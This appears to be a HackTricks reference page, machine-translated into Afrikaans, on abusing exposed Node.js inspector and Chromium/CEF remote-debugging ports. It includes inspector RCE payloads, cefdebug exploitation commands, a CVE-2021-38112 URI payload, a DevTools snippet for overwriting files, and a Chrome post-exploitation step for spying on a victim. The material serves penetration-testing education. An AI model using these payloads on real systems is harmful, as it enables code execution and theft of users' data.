Node inspector/CEF debug misbruik

Reading time: 8 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

From the docs: Wanneer dit met die --inspect skakel begin, luister 'n Node.js-proses vir 'n debug-klient. Deur standaard sal dit luister op gasheer en poort 127.0.0.1:9229. Elke proses word ook aan 'n unieke UUID toegeken.

Inspector-kliente moet die gasheeradres, poort en UUID weet en spesifiseer om te verbind. 'n Volledige URL sal iets soos ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e lyk.

warning

Aangesien die debugger volle toegang tot die Node.js-uitvoeringsomgewing het, mag 'n kwaadwillige akteur wat in staat is om met hierdie poort te verbind, in staat wees om arbitrêre kode namens die Node.js-proses uit te voer (potensiële privilige-eskalasie).

Daar is verskeie maniere om 'n inspektor te begin:

bash
node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

Wanneer jy 'n ondersoekte proses begin, sal iets soos dit verskyn:

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector

Proses gebaseer op CEF (Chromium Embedded Framework) moet die param gebruik: --remote-debugging-port=9222 om die debugger oop te maak (die SSRF beskermings bly baie soortgelyk). Hulle in plaas daarvan om 'n NodeJS debug sessie te verleen, sal met die blaaier kommunikeer deur die Chrome DevTools Protocol, dit is 'n koppelvlak om die blaaiers te beheer, maar daar is nie 'n direkte RCE nie.

Wanneer jy 'n gedebugde blaaiers begin, sal iets soos dit verskyn:

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

Browsers, WebSockets en same-origin beleid

Webwerwe wat in 'n web-blaaier oopgemaak word, kan WebSocket en HTTP versoeke maak onder die blaaiers se sekuriteitsmodel. 'n Aanvanklike HTTP-verbinding is nodig om 'n unieke debugger sessie id te verkry. Die same-origin-beleid verhinder webwerwe om hierdie HTTP-verbinding te maak. Vir addisionele sekuriteit teen DNS rebinding aanvalle, verifieer Node.js dat die 'Host' headers vir die verbinding of 'n IP adres of localhost of localhost6 presies spesifiseer.

note

Hierdie sekuriteitsmaatreëls verhinder die benutting van die inspekteur om kode te laat loop deur net 'n HTTP versoek te stuur (wat gedoen kon word deur 'n SSRF kwesbaarheid te benut).

Begin inspekteur in lopende prosesse

Jy kan die sein SIGUSR1 na 'n lopende nodejs-proses stuur om dit te laat begin die inspekteur in die standaardpoort. Let egter daarop dat jy genoeg voorregte moet hê, so dit mag jou voorregte toegang tot inligting binne die proses gee, maar nie 'n direkte voorregte-eskalasie nie.

bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

note

Dit is nuttig in houers omdat om die proses af te sluit en 'n nuwe een te begin met --inspect nie 'n opsie is nie omdat die houer saam met die proses vermoor sal word.

Verbind met inspekteur/debugger

Om met 'n Chromium-gebaseerde blaaier te verbind, kan die chrome://inspect of edge://inspect URL's vir Chrome of Edge, onderskeidelik, toeganklik gemaak word. Deur op die Konfigureer-knoppie te klik, moet verseker word dat die teikenhost en poort korrek gelys is. Die beeld toon 'n Voorbeeld van Afgeleide Kode-uitvoering (RCE):

Met die opdraglyn kan jy met 'n debugger/inspekteur verbind met:

bash
node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

Die hulpmiddel https://github.com/taviso/cefdebug laat toe om inspekteurs wat plaaslik loop te vind en kode daarin te injekteer.

bash
#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

note

Let daarop dat NodeJS RCE exploits nie sal werk as dit aan 'n blaaskode gekoppel is via Chrome DevTools Protocol (jy moet die API nagaan om interessante dinge te vind om daarmee te doen).

RCE in NodeJS Debugger/Inspector

Sommige algemene maniere om RCE te verkry wanneer jy kan verbinde met 'n Node inspector is om iets soos (lyk of dit nie sal werk in 'n verbinding met Chrome DevTools protocol):

javascript
process.mainModule.require("child_process").exec("calc")
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require("child_process").spawnSync("calc.exe")
Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))

Chrome DevTools Protocol Payloads

You can check the API here: https://chromedevtools.github.io/devtools-protocol/
In hierdie afdeling sal ek net interessante dinge lys wat ek vind mense gebruik het om hierdie protokol te ontgin.

In die CVE-2021-38112 het Rhino-sekuriteit ontdek dat 'n toepassing gebaseer op CEF 'n persoonlike URI in die stelsel geregistreer het (workspaces://index.html) wat die volle URI ontvang het en toe die CEF-gebaseerde toepassing met 'n konfigurasie wat gedeeltelik van daardie URI saamgestel is, gelaai het.

Daar is ontdek dat die URI parameters URL-dekodeer is en gebruik is om die CEF-basis toepassing te laai, wat 'n gebruiker in staat gestel het om die vlag --gpu-launcher in die opdraglyn in te voeg en arbitrêre dinge uit te voer.

So, 'n payload soos:

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

sal 'n calc.exe uitvoer.

Oorskrywe Lêers

Verander die gids waar afgelaaide lêers gestoor gaan word en laai 'n lêer af om die bronkode van die toepassing wat gereeld gebruik word met jou kwaadwillige kode te oorskry.

javascript
ws = new WebSocket(url) //URL of the chrome devtools service
ws.send(
JSON.stringify({
id: 42069,
method: "Browser.setDownloadBehavior",
params: {
behavior: "allow",
downloadPath: "/code/",
},
})
)

Webdriver RCE en eksfiltrasie

Volgens hierdie pos: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 is dit moontlik om RCE te verkry en interne bladsye van theriver te eksfiltreer.

Post-Exploitasie

In 'n werklike omgewing en na die kompromittering van 'n gebruiker se rekenaar wat 'n Chrome/Chromium-gebaseerde blaaier gebruik, kan jy 'n Chrome-proses met die debugging geaktiveer en die debugging-poort deurgee sodat jy toegang kan verkry. Op hierdie manier sal jy in staat wees om alles wat die slagoffer met Chrome doen te inspekteer en sensitiewe inligting te steel.

Die stealth manier is om elke Chrome-proses te beëindig en dan iets soos te roep

bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks